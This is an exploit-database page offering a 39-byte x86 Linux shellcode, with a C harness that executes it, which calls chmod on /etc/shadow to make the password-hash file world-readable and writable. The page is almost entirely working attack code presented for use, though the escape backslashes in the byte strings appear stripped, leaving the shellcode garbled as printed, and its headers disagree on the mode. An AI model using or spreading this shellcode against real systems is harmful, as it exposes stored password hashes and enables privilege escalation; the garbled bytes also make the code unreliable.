[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : change mode 0777 of "/etc/shadow" with sys_chmod syscall
# Published : 2010-05-31
# Author : gunslinger_
# Previous Title : linux/x86 Shellcode Polymorphic - setuid(0) + chmod("/etc/shadow", 0666) Shellcode 61 Byte
# Next Title : kill all running process x86/linux


/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / __  /'__`                   0
0  /_,     ___   /_/_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/__<_  /'___  /    /`'__          0
0       / /    /   / __/  _  _   /           1
1       _ _ __   ____/ ____\ __\ ____/ _           0
0       /_//_//_/ _ /___/  /____/ /__/ /___/  /_/           1
1                   ____/ >> Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               #########################################              1
0               I'm gunslinger_ member from Inj3ct0r Team              1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
/*
Title  : change mode 0777 of "/etc/shadow" with sys_chmod syscall
Name   : 39 bytes sys_chmod("/etc/shadow",599) x86 linux shellcode
Date   : jun, 1 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : devilzc0de.com
blog   : gunslingerc0de.wordpress.com
tested on : linux debian
*/

#include <stdio.h>

char *shellcode=
 "xebx15"                    /* jmp    0x8048077 */
 "x31xc0"                    /* xor    %eax,%eax */
 "xb0x0f"                    /* mov    $0xf,%al */
 "x5b"                        /* pop    %ebx */
 "x31xc9"                    /* xor    %ecx,%ecx */
 "x66xb9xffx01"            /* mov    $0x1ff,%cx */
 "xcdx80"                    /* int    $0x80 */
 "x31xc0"                    /* xor    %eax,%eax */
 "xb0x01"                    /* mov    $0x1,%al */
 "x31xdb"                    /* xor    %ebx,%ebx */
 "xcdx80"                    /* int    $0x80 */
 "xe8xe6xffxffxff"        /* call   0x8048062 */
 "x2f"                        /* das     */
 "x65"                        /* gs */
 "x74x63"                    /* je     0x80480e3 */
 "x2f"                        /* das     */
 "x73x68"                    /* jae    0x80480eb */
 "x61"                        /* popa    */
 "x64x6f"                    /* outsl  %fs "(%esi),(%dx) */
 "x77";                        /* .byte 0x77 */

int main(void)
{
		fprintf(stdout,"Length: %dn",strlen(shellcode));
		((void (*)(void)) shellcode)();
		return 0;
}